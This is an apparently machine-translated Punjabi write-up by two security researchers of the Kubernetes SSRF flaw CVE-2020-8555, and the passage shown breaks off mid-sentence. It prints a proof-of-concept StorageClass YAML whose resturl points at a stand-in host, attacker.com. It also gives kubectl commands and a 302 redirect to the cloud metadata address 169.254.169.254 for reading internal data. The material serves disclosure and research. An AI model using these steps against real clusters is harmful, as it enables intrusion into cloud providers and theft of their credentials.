ਜਦੋਂ ਇਹ ਸਿਰਫ ਕੁਬਰਨੇਟਸ ਦੀਆਂ ਕਮਜ਼ੋਰੀਆਂ ਬਾਰੇ ਨਹੀਂ ਹੈ ...

ਨੋਟ ਕਰੋ। ਅਨੁਵਾਦ: ਇਸ ਲੇਖ ਦੇ ਲੇਖਕ ਇਸ ਬਾਰੇ ਵਿਸਥਾਰ ਵਿੱਚ ਗੱਲ ਕਰਦੇ ਹਨ ਕਿ ਉਹਨਾਂ ਨੇ ਕਮਜ਼ੋਰੀ ਨੂੰ ਕਿਵੇਂ ਖੋਜਿਆ CVE-2020–8555 Kubernetes ਵਿੱਚ. ਹਾਲਾਂਕਿ ਸ਼ੁਰੂ ਵਿੱਚ ਇਹ ਬਹੁਤ ਖ਼ਤਰਨਾਕ ਨਹੀਂ ਜਾਪਦਾ ਸੀ, ਦੂਜੇ ਕਾਰਕਾਂ ਦੇ ਨਾਲ ਇਸਦੀ ਨਾਜ਼ੁਕਤਾ ਕੁਝ ਕਲਾਉਡ ਪ੍ਰਦਾਤਾਵਾਂ ਲਈ ਵੱਧ ਤੋਂ ਵੱਧ ਨਿਕਲੀ। ਕਈ ਸੰਸਥਾਵਾਂ ਨੇ ਉਨ੍ਹਾਂ ਦੇ ਕੰਮ ਲਈ ਮਾਹਿਰਾਂ ਨੂੰ ਖੁੱਲ੍ਹੇ ਦਿਲ ਨਾਲ ਇਨਾਮ ਦਿੱਤੇ।

ਅਸੀਂ ਕੌਣ ਹਾਂ

ਅਸੀਂ ਦੋ ਫਰਾਂਸੀਸੀ ਸੁਰੱਖਿਆ ਖੋਜਕਰਤਾ ਹਾਂ ਜਿਨ੍ਹਾਂ ਨੇ ਸਾਂਝੇ ਤੌਰ 'ਤੇ ਕੁਬਰਨੇਟਸ ਵਿੱਚ ਇੱਕ ਕਮਜ਼ੋਰੀ ਦੀ ਖੋਜ ਕੀਤੀ ਹੈ। ਸਾਡੇ ਨਾਮ ਬ੍ਰਾਈਸ ਔਗਰਾਸ ਅਤੇ ਕ੍ਰਿਸਟੋਫ ਹਾਉਕਿਅਰਟ ਹਨ, ਪਰ ਬਹੁਤ ਸਾਰੇ ਬੱਗ ਬਾਊਂਟੀ ਪਲੇਟਫਾਰਮਾਂ 'ਤੇ ਸਾਨੂੰ ਕ੍ਰਮਵਾਰ ਰੀਵਰਜ਼ੈਕਸ ਅਤੇ ਹੈਚ ਵਜੋਂ ਜਾਣਿਆ ਜਾਂਦਾ ਹੈ:

• ਬ੍ਰਾਈਸ ਔਗਰਾਸ - ਗਰੁੱਪ ਐਸਟਨ ਕੰਪਨੀ;
• ਕ੍ਰਿਸਟੋਫ਼ ਹਾਉਕਿਅਰਟ - ਨੋਕੀਆ ਵਿਖੇ ਕੁਬਰਨੇਟਸ ਆਰਕੀਟੈਕਟ।

ਕੀ ਹੋਇਆ?

ਇਹ ਲੇਖ ਸਾਂਝਾ ਕਰਨ ਦਾ ਸਾਡਾ ਤਰੀਕਾ ਹੈ ਕਿ ਕਿਵੇਂ ਇੱਕ ਆਮ ਖੋਜ ਪ੍ਰੋਜੈਕਟ ਅਚਾਨਕ ਬੱਗ ਸ਼ਿਕਾਰੀਆਂ ਦੇ ਜੀਵਨ ਵਿੱਚ ਸਭ ਤੋਂ ਦਿਲਚਸਪ ਸਾਹਸ ਵਿੱਚ ਬਦਲ ਗਿਆ (ਘੱਟੋ ਘੱਟ ਹੁਣ ਲਈ)।

ਜਿਵੇਂ ਕਿ ਤੁਸੀਂ ਸ਼ਾਇਦ ਜਾਣਦੇ ਹੋਵੋਗੇ, ਬੱਗ ਸ਼ਿਕਾਰੀਆਂ ਦੀਆਂ ਕੁਝ ਮਹੱਤਵਪੂਰਨ ਵਿਸ਼ੇਸ਼ਤਾਵਾਂ ਹਨ:

• ਉਹ ਪੀਜ਼ਾ ਅਤੇ ਬੀਅਰ 'ਤੇ ਰਹਿੰਦੇ ਹਨ;
• ਉਹ ਕੰਮ ਕਰਦੇ ਹਨ ਜਦੋਂ ਹਰ ਕੋਈ ਸੁੱਤੇ ਹੁੰਦਾ ਹੈ।

ਅਸੀਂ ਇਹਨਾਂ ਨਿਯਮਾਂ ਤੋਂ ਕੋਈ ਅਪਵਾਦ ਨਹੀਂ ਹਾਂ: ਅਸੀਂ ਆਮ ਤੌਰ 'ਤੇ ਸ਼ਨੀਵਾਰ-ਐਤਵਾਰ ਨੂੰ ਮਿਲਦੇ ਹਾਂ ਅਤੇ ਹੈਕਿੰਗ ਲਈ ਨੀਂਦ ਦੀਆਂ ਰਾਤਾਂ ਬਿਤਾਉਂਦੇ ਹਾਂ। ਪਰ ਇਹਨਾਂ ਵਿੱਚੋਂ ਇੱਕ ਰਾਤ ਬਹੁਤ ਹੀ ਅਸਾਧਾਰਨ ਤਰੀਕੇ ਨਾਲ ਖਤਮ ਹੋਈ।

ਸ਼ੁਰੂ ਵਿਚ ਅਸੀਂ ਵਿਚ ਹਿੱਸਾ ਲੈਣ ਬਾਰੇ ਚਰਚਾ ਕਰਨ ਲਈ ਮਿਲਣ ਜਾ ਰਹੇ ਸੀ ਸੀਟੀਐਫ ਅਗਲੇ ਦਿਨ. ਇੱਕ ਪ੍ਰਬੰਧਿਤ ਸੇਵਾ ਵਾਤਾਵਰਣ ਵਿੱਚ ਕੁਬਰਨੇਟਸ ਸੁਰੱਖਿਆ ਬਾਰੇ ਇੱਕ ਗੱਲਬਾਤ ਦੌਰਾਨ, ਸਾਨੂੰ SSRF ਦਾ ਪੁਰਾਣਾ ਵਿਚਾਰ ਯਾਦ ਆਇਆ (ਸਰਵਰ-ਸਾਈਡ ਬੇਨਤੀ ਜਾਅਲਸਾਜ਼ੀ) ਅਤੇ ਇਸਨੂੰ ਅਟੈਕ ਸਕ੍ਰਿਪਟ ਵਜੋਂ ਵਰਤਣ ਦੀ ਕੋਸ਼ਿਸ਼ ਕਰਨ ਦਾ ਫੈਸਲਾ ਕੀਤਾ।

11 ਵਜੇ ਅਸੀਂ ਆਪਣੀ ਖੋਜ ਕਰਨ ਲਈ ਬੈਠ ਗਏ ਅਤੇ ਨਤੀਜਿਆਂ ਤੋਂ ਬਹੁਤ ਸੰਤੁਸ਼ਟ, ਸਵੇਰੇ ਜਲਦੀ ਸੌਣ ਲਈ ਚਲੇ ਗਏ। ਇਹ ਇਸ ਖੋਜ ਦੇ ਕਾਰਨ ਸੀ ਕਿ ਅਸੀਂ MSRC ਬੱਗ ਬਾਉਂਟੀ ਪ੍ਰੋਗਰਾਮ ਵਿੱਚ ਆਏ ਅਤੇ ਇੱਕ ਵਿਸ਼ੇਸ਼ ਅਧਿਕਾਰ ਵਧਾਉਣ ਦੇ ਸ਼ੋਸ਼ਣ ਦੇ ਨਾਲ ਆਏ।

ਕਈ ਹਫ਼ਤੇ/ਮਹੀਨੇ ਬੀਤ ਗਏ, ਅਤੇ ਸਾਡੇ ਅਣਕਿਆਸੇ ਨਤੀਜੇ ਦੇ ਨਤੀਜੇ ਵਜੋਂ Azure ਕਲਾਉਡ ਬੱਗ ਬਾਉਂਟੀ ਦੇ ਇਤਿਹਾਸ ਵਿੱਚ ਸਭ ਤੋਂ ਉੱਚੇ ਇਨਾਮਾਂ ਵਿੱਚੋਂ ਇੱਕ - ਸਾਨੂੰ Kubernetes ਤੋਂ ਪ੍ਰਾਪਤ ਹੋਏ ਇਨਾਮਾਂ ਤੋਂ ਇਲਾਵਾ!

ਸਾਡੇ ਖੋਜ ਪ੍ਰੋਜੈਕਟ ਦੇ ਆਧਾਰ 'ਤੇ, ਕੁਬਰਨੇਟਸ ਉਤਪਾਦ ਸੁਰੱਖਿਆ ਕਮੇਟੀ ਨੇ ਪ੍ਰਕਾਸ਼ਿਤ ਕੀਤਾ CVE-2020–8555.

ਹੁਣ ਮੈਂ ਲੱਭੀ ਗਈ ਕਮਜ਼ੋਰੀ ਬਾਰੇ ਜਾਣਕਾਰੀ ਨੂੰ ਜਿੰਨਾ ਸੰਭਵ ਹੋ ਸਕੇ ਫੈਲਾਉਣਾ ਚਾਹਾਂਗਾ। ਅਸੀਂ ਉਮੀਦ ਕਰਦੇ ਹਾਂ ਕਿ ਤੁਸੀਂ ਖੋਜ ਦੀ ਸ਼ਲਾਘਾ ਕਰੋਗੇ ਅਤੇ ਤਕਨੀਕੀ ਵੇਰਵਿਆਂ ਨੂੰ infosec ਭਾਈਚਾਰੇ ਦੇ ਹੋਰ ਮੈਂਬਰਾਂ ਨਾਲ ਸਾਂਝਾ ਕਰੋਗੇ!

ਇਸ ਲਈ ਇੱਥੇ ਸਾਡੀ ਕਹਾਣੀ ਹੈ ...

ਪ੍ਰਸੰਗ

ਕੀ ਹੋਇਆ ਇਸ ਦਾ ਸਭ ਤੋਂ ਵੱਧ ਅਰਥ ਬਣਾਉਣ ਲਈ, ਆਓ ਪਹਿਲਾਂ ਦੇਖੀਏ ਕਿ ਕੁਬਰਨੇਟਸ ਇੱਕ ਕਲਾਉਡ ਪ੍ਰਬੰਧਿਤ ਵਾਤਾਵਰਣ ਵਿੱਚ ਕਿਵੇਂ ਕੰਮ ਕਰਦਾ ਹੈ।

ਜਦੋਂ ਤੁਸੀਂ ਅਜਿਹੇ ਵਾਤਾਵਰਣ ਵਿੱਚ ਇੱਕ Kubernetes ਕਲੱਸਟਰ ਨੂੰ ਚਾਲੂ ਕਰਦੇ ਹੋ, ਤਾਂ ਪ੍ਰਬੰਧਨ ਪਰਤ ਆਮ ਤੌਰ 'ਤੇ ਕਲਾਉਡ ਪ੍ਰਦਾਤਾ ਦੀ ਜ਼ਿੰਮੇਵਾਰੀ ਹੁੰਦੀ ਹੈ:

ਨਿਯੰਤਰਣ ਪਰਤ ਕਲਾਉਡ ਪ੍ਰਦਾਤਾ ਦੇ ਘੇਰੇ 'ਤੇ ਸਥਿਤ ਹੈ, ਜਦੋਂ ਕਿ ਕੁਬਰਨੇਟਸ ਨੋਡ ਗਾਹਕ ਦੇ ਘੇਰੇ 'ਤੇ ਸਥਿਤ ਹਨ

ਡਾਇਨਾਮਿਕ ਤੌਰ 'ਤੇ ਵਾਲੀਅਮ ਨਿਰਧਾਰਤ ਕਰਨ ਲਈ, ਇੱਕ ਵਿਧੀ ਦੀ ਵਰਤੋਂ ਉਹਨਾਂ ਨੂੰ ਇੱਕ ਬਾਹਰੀ ਸਟੋਰੇਜ ਬੈਕਐਂਡ ਤੋਂ ਗਤੀਸ਼ੀਲ ਤੌਰ 'ਤੇ ਪ੍ਰਬੰਧ ਕਰਨ ਲਈ ਕੀਤੀ ਜਾਂਦੀ ਹੈ ਅਤੇ ਉਹਨਾਂ ਦੀ ਪੀਵੀਸੀ (ਸਥਾਈ ਵਾਲੀਅਮ ਦਾ ਦਾਅਵਾ, ਭਾਵ ਇੱਕ ਵਾਲੀਅਮ ਲਈ ਬੇਨਤੀ) ਨਾਲ ਤੁਲਨਾ ਕੀਤੀ ਜਾਂਦੀ ਹੈ।

ਇਸ ਤਰ੍ਹਾਂ, K8s ਕਲੱਸਟਰ ਵਿੱਚ PVC ਦੇ ਬਣਾਏ ਜਾਣ ਅਤੇ ਸਟੋਰੇਜ ਕਲਾਸ ਨਾਲ ਬੰਨ੍ਹੇ ਜਾਣ ਤੋਂ ਬਾਅਦ, ਵਾਲੀਅਮ ਪ੍ਰਦਾਨ ਕਰਨ ਲਈ ਹੋਰ ਕਾਰਵਾਈਆਂ ਕਿਊਬ/ਕਲਾਊਡ ਕੰਟਰੋਲਰ ਮੈਨੇਜਰ ਦੁਆਰਾ ਸੰਭਾਲੀਆਂ ਜਾਂਦੀਆਂ ਹਨ (ਇਸਦਾ ਸਹੀ ਨਾਮ ਰੀਲੀਜ਼ 'ਤੇ ਨਿਰਭਰ ਕਰਦਾ ਹੈ)। (ਨੋਟ ਕਰੋ। ਅਨੁਵਾਦ: ਅਸੀਂ ਕਲਾਉਡ ਪ੍ਰਦਾਤਾਵਾਂ ਵਿੱਚੋਂ ਇੱਕ ਲਈ ਇਸਦੇ ਲਾਗੂ ਕਰਨ ਦੀ ਉਦਾਹਰਣ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਪਹਿਲਾਂ ਹੀ CCM ਬਾਰੇ ਹੋਰ ਲਿਖਿਆ ਹੈ ਇੱਥੇ.)

ਕੁਬਰਨੇਟਸ ਦੁਆਰਾ ਸਮਰਥਿਤ ਕਈ ਪ੍ਰਕਾਰ ਦੇ ਪ੍ਰੋਵੀਜ਼ਨਰ ਹਨ: ਉਹਨਾਂ ਵਿੱਚੋਂ ਜ਼ਿਆਦਾਤਰ ਇਸ ਵਿੱਚ ਸ਼ਾਮਲ ਹਨ ਆਰਕੈਸਟ੍ਰੇਟਰ ਕੋਰ, ਜਦੋਂ ਕਿ ਹੋਰਾਂ ਦਾ ਪ੍ਰਬੰਧਨ ਵਾਧੂ ਪ੍ਰੋਵੀਜ਼ਨਰਾਂ ਦੁਆਰਾ ਕੀਤਾ ਜਾਂਦਾ ਹੈ ਜੋ ਕਿ ਕਲੱਸਟਰ ਵਿੱਚ ਪੌਡਾਂ ਵਿੱਚ ਰੱਖੇ ਜਾਂਦੇ ਹਨ।

ਸਾਡੀ ਖੋਜ ਵਿੱਚ, ਅਸੀਂ ਅੰਦਰੂਨੀ ਵਾਲੀਅਮ ਪ੍ਰੋਵਿਜ਼ਨਿੰਗ ਵਿਧੀ 'ਤੇ ਧਿਆਨ ਕੇਂਦਰਿਤ ਕੀਤਾ, ਜੋ ਕਿ ਹੇਠਾਂ ਦਰਸਾਇਆ ਗਿਆ ਹੈ:

ਬਿਲਟ-ਇਨ ਕੁਬਰਨੇਟਸ ਪ੍ਰੋਵੀਜ਼ਨਰ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਵਾਲੀਅਮਾਂ ਦੀ ਗਤੀਸ਼ੀਲ ਵਿਵਸਥਾ

ਸੰਖੇਪ ਵਿੱਚ, ਜਦੋਂ ਕੁਬਰਨੇਟਸ ਨੂੰ ਇੱਕ ਪ੍ਰਬੰਧਿਤ ਵਾਤਾਵਰਣ ਵਿੱਚ ਤੈਨਾਤ ਕੀਤਾ ਜਾਂਦਾ ਹੈ, ਤਾਂ ਕੰਟਰੋਲਰ ਮੈਨੇਜਰ ਕਲਾਉਡ ਪ੍ਰਦਾਤਾ ਦੀ ਜ਼ਿੰਮੇਵਾਰੀ ਹੁੰਦੀ ਹੈ, ਪਰ ਵਾਲੀਅਮ ਬਣਾਉਣ ਦੀ ਬੇਨਤੀ (ਉਪਰੋਕਤ ਚਿੱਤਰ ਵਿੱਚ ਨੰਬਰ 3) ਕਲਾਉਡ ਪ੍ਰਦਾਤਾ ਦੇ ਅੰਦਰੂਨੀ ਨੈਟਵਰਕ ਨੂੰ ਛੱਡ ਦਿੰਦੀ ਹੈ। ਅਤੇ ਇਹ ਉਹ ਥਾਂ ਹੈ ਜਿੱਥੇ ਚੀਜ਼ਾਂ ਅਸਲ ਵਿੱਚ ਦਿਲਚਸਪ ਹੁੰਦੀਆਂ ਹਨ!

ਹੈਕਿੰਗ ਦ੍ਰਿਸ਼

ਇਸ ਭਾਗ ਵਿੱਚ, ਅਸੀਂ ਦੱਸਾਂਗੇ ਕਿ ਅਸੀਂ ਉੱਪਰ ਦੱਸੇ ਗਏ ਵਰਕਫਲੋ ਦਾ ਲਾਭ ਕਿਵੇਂ ਲਿਆ ਅਤੇ ਕਲਾਉਡ ਸੇਵਾ ਪ੍ਰਦਾਤਾ ਦੇ ਅੰਦਰੂਨੀ ਸਰੋਤਾਂ ਤੱਕ ਪਹੁੰਚ ਕੀਤੀ। ਇਹ ਤੁਹਾਨੂੰ ਇਹ ਵੀ ਦਿਖਾਏਗਾ ਕਿ ਤੁਸੀਂ ਕੁਝ ਕਿਰਿਆਵਾਂ ਕਿਵੇਂ ਕਰ ਸਕਦੇ ਹੋ, ਜਿਵੇਂ ਕਿ ਅੰਦਰੂਨੀ ਪ੍ਰਮਾਣ ਪੱਤਰ ਪ੍ਰਾਪਤ ਕਰਨਾ ਜਾਂ ਵਿਸ਼ੇਸ਼ ਅਧਿਕਾਰਾਂ ਨੂੰ ਵਧਾਉਣਾ।

ਇੱਕ ਸਧਾਰਨ ਹੇਰਾਫੇਰੀ (ਇਸ ਕੇਸ ਵਿੱਚ, ਸਰਵਿਸ ਸਾਈਡ ਬੇਨਤੀ ਜਾਅਲਸਾਜ਼ੀ) ਨੇ ਪ੍ਰਬੰਧਨ ਕੀਤੇ K8s ਅਧੀਨ ਵੱਖ-ਵੱਖ ਸੇਵਾ ਪ੍ਰਦਾਤਾਵਾਂ ਦੇ ਕਲੱਸਟਰਾਂ ਵਿੱਚ ਕਲਾਇੰਟ ਵਾਤਾਵਰਨ ਤੋਂ ਪਰੇ ਜਾਣ ਵਿੱਚ ਮਦਦ ਕੀਤੀ।

ਸਾਡੀ ਖੋਜ ਵਿੱਚ ਅਸੀਂ GlusterFS ਪ੍ਰੋਵੀਜ਼ਨਰ 'ਤੇ ਧਿਆਨ ਕੇਂਦਰਿਤ ਕੀਤਾ। ਇਸ ਤੱਥ ਦੇ ਬਾਵਜੂਦ ਕਿ ਇਸ ਸੰਦਰਭ ਵਿੱਚ ਕਾਰਵਾਈਆਂ ਦੇ ਅਗਲੇ ਕ੍ਰਮ ਦਾ ਵਰਣਨ ਕੀਤਾ ਗਿਆ ਹੈ, Quobyte, StorageOS ਅਤੇ ScaleIO ਸਮਾਨ ਕਮਜ਼ੋਰੀ ਲਈ ਸੰਵੇਦਨਸ਼ੀਲ ਹਨ।

ਡਾਇਨਾਮਿਕ ਵਾਲੀਅਮ ਪ੍ਰੋਵੀਜ਼ਨਿੰਗ ਵਿਧੀ ਦੀ ਦੁਰਵਰਤੋਂ

ਸਟੋਰੇਜ਼ ਕਲਾਸ ਵਿਸ਼ਲੇਸ਼ਣ ਦੇ ਦੌਰਾਨ GlusterFS ਗੋਲੰਗ ਕਲਾਇੰਟ ਸੋਰਸ ਕੋਡ ਵਿੱਚ ਅਸੀਂ ਦੇਖਿਆਜੋ ਕਿ ਪਹਿਲੀ HTTP ਬੇਨਤੀ (3) 'ਤੇ ਵੌਲਯੂਮ ਬਣਾਉਣ ਦੌਰਾਨ ਭੇਜੀ ਗਈ, ਪੈਰਾਮੀਟਰ ਵਿੱਚ ਕਸਟਮ URL ਦੇ ਅੰਤ ਤੱਕ resturl ਸ਼ਾਮਲ ਕੀਤਾ ਗਿਆ ਹੈ /volumes.

ਅਸੀਂ ਜੋੜ ਕੇ ਇਸ ਵਾਧੂ ਮਾਰਗ ਤੋਂ ਛੁਟਕਾਰਾ ਪਾਉਣ ਦਾ ਫੈਸਲਾ ਕੀਤਾ # ਪੈਰਾਮੀਟਰ ਵਿੱਚ resturl. ਇਹ ਪਹਿਲੀ YAML ਸੰਰਚਨਾ ਹੈ ਜੋ ਅਸੀਂ ਅਰਧ-ਅੰਨ੍ਹੇ SSRF ਕਮਜ਼ੋਰੀ ਲਈ ਟੈਸਟ ਕਰਨ ਲਈ ਵਰਤੀ ਸੀ (ਤੁਸੀਂ ਅਰਧ-ਅੰਨ੍ਹੇ ਜਾਂ ਅੱਧ-ਅੰਨ੍ਹੇ SSRF ਬਾਰੇ ਹੋਰ ਪੜ੍ਹ ਸਕਦੇ ਹੋ, ਉਦਾਹਰਨ ਲਈ, ਇੱਥੇ - ਲਗਭਗ ਅਨੁਵਾਦ।):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

ਫਿਰ ਅਸੀਂ ਕੁਬਰਨੇਟਸ ਕਲੱਸਟਰ ਨੂੰ ਰਿਮੋਟਲੀ ਪ੍ਰਬੰਧਿਤ ਕਰਨ ਲਈ ਬਾਈਨਰੀ ਦੀ ਵਰਤੋਂ ਕੀਤੀ kubectl. ਆਮ ਤੌਰ 'ਤੇ, ਕਲਾਉਡ ਪ੍ਰਦਾਤਾ (Azure, Google, AWS, ਆਦਿ) ਤੁਹਾਨੂੰ ਇਸ ਸਹੂਲਤ ਵਿੱਚ ਵਰਤੋਂ ਲਈ ਪ੍ਰਮਾਣ ਪੱਤਰ ਪ੍ਰਾਪਤ ਕਰਨ ਦੀ ਇਜਾਜ਼ਤ ਦਿੰਦੇ ਹਨ।

ਇਸਦਾ ਧੰਨਵਾਦ, ਮੈਂ ਆਪਣੀ "ਵਿਸ਼ੇਸ਼" ਫਾਈਲ ਦੀ ਵਰਤੋਂ ਕਰਨ ਦੇ ਯੋਗ ਸੀ. ਕੁਬੇ-ਕੰਟਰੋਲਰ-ਪ੍ਰਬੰਧਕ ਨੇ ਨਤੀਜੇ ਵਜੋਂ HTTP ਬੇਨਤੀ ਨੂੰ ਚਲਾਇਆ:

kubectl create -f sc-poc.yaml

ਹਮਲਾਵਰ ਦੇ ਨਜ਼ਰੀਏ ਤੋਂ ਜਵਾਬ

ਇਸ ਤੋਂ ਥੋੜ੍ਹੀ ਦੇਰ ਬਾਅਦ, ਅਸੀਂ ਟਾਰਗੇਟ ਸਰਵਰ ਤੋਂ ਇੱਕ HTTP ਜਵਾਬ ਪ੍ਰਾਪਤ ਕਰਨ ਦੇ ਯੋਗ ਹੋ ਗਏ - ਕਮਾਂਡਾਂ ਰਾਹੀਂ describe pvc ਜ get events kubectl ਵਿੱਚ. ਅਤੇ ਅਸਲ ਵਿੱਚ: ਇਹ ਡਿਫੌਲਟ ਕੁਬਰਨੇਟਸ ਡਰਾਈਵਰ ਇਸਦੀਆਂ ਚੇਤਾਵਨੀਆਂ/ਗਲਤੀ ਸੁਨੇਹਿਆਂ ਵਿੱਚ ਬਹੁਤ ਜ਼ਿਆਦਾ ਵਰਬੋਸ ਹੈ...

ਇੱਥੇ ਇੱਕ ਲਿੰਕ ਦੇ ਨਾਲ ਇੱਕ ਉਦਾਹਰਨ ਹੈ https://www.google.frਪੈਰਾਮੀਟਰ ਵਜੋਂ ਸੈੱਟ ਕਰੋ resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

ਇਸ ਪਹੁੰਚ ਵਿੱਚ, ਅਸੀਂ ਸਵਾਲਾਂ ਤੱਕ ਸੀਮਿਤ ਸੀ ਜਿਵੇਂ ਕਿ HTTP ਪੋਸਟ ਅਤੇ ਜੇਕਰ ਰਿਟਰਨ ਕੋਡ ਸੀ ਤਾਂ ਜਵਾਬ ਦੇ ਭਾਗ ਦੀ ਸਮੱਗਰੀ ਪ੍ਰਾਪਤ ਨਹੀਂ ਕਰ ਸਕਿਆ 201. ਇਸ ਲਈ, ਅਸੀਂ ਵਾਧੂ ਖੋਜ ਕਰਨ ਦਾ ਫੈਸਲਾ ਕੀਤਾ ਹੈ ਅਤੇ ਇਸ ਹੈਕਿੰਗ ਦ੍ਰਿਸ਼ ਨੂੰ ਨਵੇਂ ਤਰੀਕੇ ਨਾਲ ਵਿਸਤਾਰ ਕੀਤਾ ਹੈ।

ਸਾਡੀ ਖੋਜ ਦਾ ਵਿਕਾਸ

• ਉੱਨਤ ਦ੍ਰਿਸ਼ #1: ਅੰਦਰੂਨੀ ਡੇਟਾ ਇਕੱਠਾ ਕਰਨ ਲਈ ਵਧੇਰੇ ਲਚਕਦਾਰ ਤਰੀਕਾ ਪ੍ਰਦਾਨ ਕਰਨ ਲਈ HTTP ਵਿਧੀ ਨੂੰ ਬਦਲਣ ਲਈ ਇੱਕ ਬਾਹਰੀ ਸਰਵਰ ਤੋਂ 302 ਰੀਡਾਇਰੈਕਟ ਦੀ ਵਰਤੋਂ ਕਰਨਾ।
• ਉੱਨਤ ਦ੍ਰਿਸ਼ #2: LAN ਸਕੈਨਿੰਗ ਅਤੇ ਅੰਦਰੂਨੀ ਸਰੋਤ ਖੋਜ ਨੂੰ ਸਵੈਚਾਲਤ ਕਰੋ।
• ਉੱਨਤ ਦ੍ਰਿਸ਼ #3: ਅਨੁਕੂਲਿਤ HTTP ਬੇਨਤੀਆਂ ਬਣਾਉਣ ਅਤੇ ਕਿਊਬ-ਕੰਟਰੋਲਰ ਲੌਗਸ ਤੋਂ ਐਕਸਟਰੈਕਟ ਕੀਤੇ ਡੇਟਾ ਨੂੰ ਮੁੜ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ HTTP CRLF + ਸਮਗਲਿੰਗ ("ਬੇਨਤੀ ਤਸਕਰੀ") ਦੀ ਵਰਤੋਂ ਕਰਨਾ।

ਤਕਨੀਕੀ ਨਿਰਧਾਰਨ

• ਖੋਜ ਨੇ ਉੱਤਰੀ ਯੂਰਪ ਖੇਤਰ ਵਿੱਚ Kubernetes ਸੰਸਕਰਣ 1.12 ਦੇ ਨਾਲ Azure Kubernetes Service (AKS) ਦੀ ਵਰਤੋਂ ਕੀਤੀ।
• ਉੱਪਰ ਦੱਸੇ ਗਏ ਦ੍ਰਿਸ਼ ਕੁਬਰਨੇਟਸ ਦੇ ਨਵੀਨਤਮ ਰੀਲੀਜ਼ਾਂ 'ਤੇ ਲਾਗੂ ਕੀਤੇ ਗਏ ਸਨ, ਤੀਜੇ ਦ੍ਰਿਸ਼ ਦੇ ਅਪਵਾਦ ਦੇ ਨਾਲ, ਕਿਉਂਕਿ ਉਸਨੂੰ ਗੋਲੰਗ ਵਰਜਨ ≤ 1.12 ਨਾਲ ਬਣੇ ਕੁਬਰਨੇਟਸ ਦੀ ਲੋੜ ਸੀ।
• ਹਮਲਾਵਰ ਦਾ ਬਾਹਰੀ ਸਰਵਰ - https://attacker.com.

ਉੱਨਤ ਦ੍ਰਿਸ਼ #1: ਇੱਕ HTTP POST ਬੇਨਤੀ ਨੂੰ GET ਲਈ ਰੀਡਾਇਰੈਕਟ ਕਰਨਾ ਅਤੇ ਸੰਵੇਦਨਸ਼ੀਲ ਡੇਟਾ ਪ੍ਰਾਪਤ ਕਰਨਾ

ਵਾਪਸ ਜਾਣ ਲਈ ਹਮਲਾਵਰ ਦੇ ਸਰਵਰ ਦੀ ਸੰਰਚਨਾ ਦੁਆਰਾ ਅਸਲ ਵਿਧੀ ਨੂੰ ਸੁਧਾਰਿਆ ਗਿਆ ਸੀ 302 HTTP ਰੀਕੋਡਇੱਕ POST ਬੇਨਤੀ ਨੂੰ GET ਬੇਨਤੀ ਵਿੱਚ ਬਦਲਣ ਲਈ (ਡਾਇਗਰਾਮ ਵਿੱਚ ਕਦਮ 4):

ਪਹਿਲੀ ਬੇਨਤੀ (3) ਗਾਹਕ ਤੋਂ ਆ ਰਹੀ ਹੈ GlusterFS (ਕੰਟਰੋਲਰ ਮੈਨੇਜਰ), ਕੋਲ ਇੱਕ POST ਕਿਸਮ ਹੈ। ਇਹਨਾਂ ਕਦਮਾਂ ਦੀ ਪਾਲਣਾ ਕਰਕੇ ਅਸੀਂ ਇਸਨੂੰ ਇੱਕ GET ਵਿੱਚ ਬਦਲਣ ਦੇ ਯੋਗ ਹੋ ਗਏ:

• ਇੱਕ ਪੈਰਾਮੀਟਰ ਦੇ ਤੌਰ ਤੇ resturl ਸਟੋਰੇਜ ਕਲਾਸ ਵਿੱਚ ਇਹ ਦਰਸਾਇਆ ਗਿਆ ਹੈ http://attacker.com/redirect.php.
• ਅੰਤਮ ਪੋਰਟ https://attacker.com/redirect.php ਹੇਠਾਂ ਦਿੱਤੇ ਸਥਾਨ ਸਿਰਲੇਖ ਦੇ ਨਾਲ ਇੱਕ 302 HTTP ਸਥਿਤੀ ਕੋਡ ਨਾਲ ਜਵਾਬ ਦਿੰਦਾ ਹੈ: http://169.254.169.254. ਇਹ ਕੋਈ ਹੋਰ ਅੰਦਰੂਨੀ ਸਰੋਤ ਹੋ ਸਕਦਾ ਹੈ - ਇਸ ਕੇਸ ਵਿੱਚ, ਰੀਡਾਇਰੈਕਟ ਲਿੰਕ ਨੂੰ ਸਿਰਫ਼ ਇੱਕ ਉਦਾਹਰਣ ਵਜੋਂ ਵਰਤਿਆ ਜਾਂਦਾ ਹੈ.
• ਮੂਲ ਰੂਪ ਵਿੱਚ net/http ਲਾਇਬ੍ਰੇਰੀ ਗੋਲੰਗ ਬੇਨਤੀ ਨੂੰ ਰੀਡਾਇਰੈਕਟ ਕਰਦਾ ਹੈ ਅਤੇ POST ਨੂੰ 302 ਸਥਿਤੀ ਕੋਡ ਨਾਲ GET ਵਿੱਚ ਬਦਲਦਾ ਹੈ, ਨਤੀਜੇ ਵਜੋਂ ਟੀਚੇ ਦੇ ਸਰੋਤ ਲਈ HTTP GET ਬੇਨਤੀ ਹੁੰਦੀ ਹੈ।

HTTP ਜਵਾਬ ਸਰੀਰ ਨੂੰ ਪੜ੍ਹਨ ਲਈ ਤੁਹਾਨੂੰ ਕੀ ਕਰਨ ਦੀ ਲੋੜ ਹੈ describe ਪੀਵੀਸੀ ਵਸਤੂ:

kubectl describe pvc xxx

ਇੱਥੇ JSON ਫਾਰਮੈਟ ਵਿੱਚ ਇੱਕ HTTP ਜਵਾਬ ਦੀ ਇੱਕ ਉਦਾਹਰਨ ਹੈ ਜੋ ਅਸੀਂ ਪ੍ਰਾਪਤ ਕਰਨ ਦੇ ਯੋਗ ਸੀ:

ਉਸ ਸਮੇਂ ਪਾਈ ਗਈ ਕਮਜ਼ੋਰੀ ਦੀਆਂ ਸਮਰੱਥਾਵਾਂ ਹੇਠ ਲਿਖੇ ਨੁਕਤਿਆਂ ਦੇ ਕਾਰਨ ਸੀਮਤ ਸਨ:

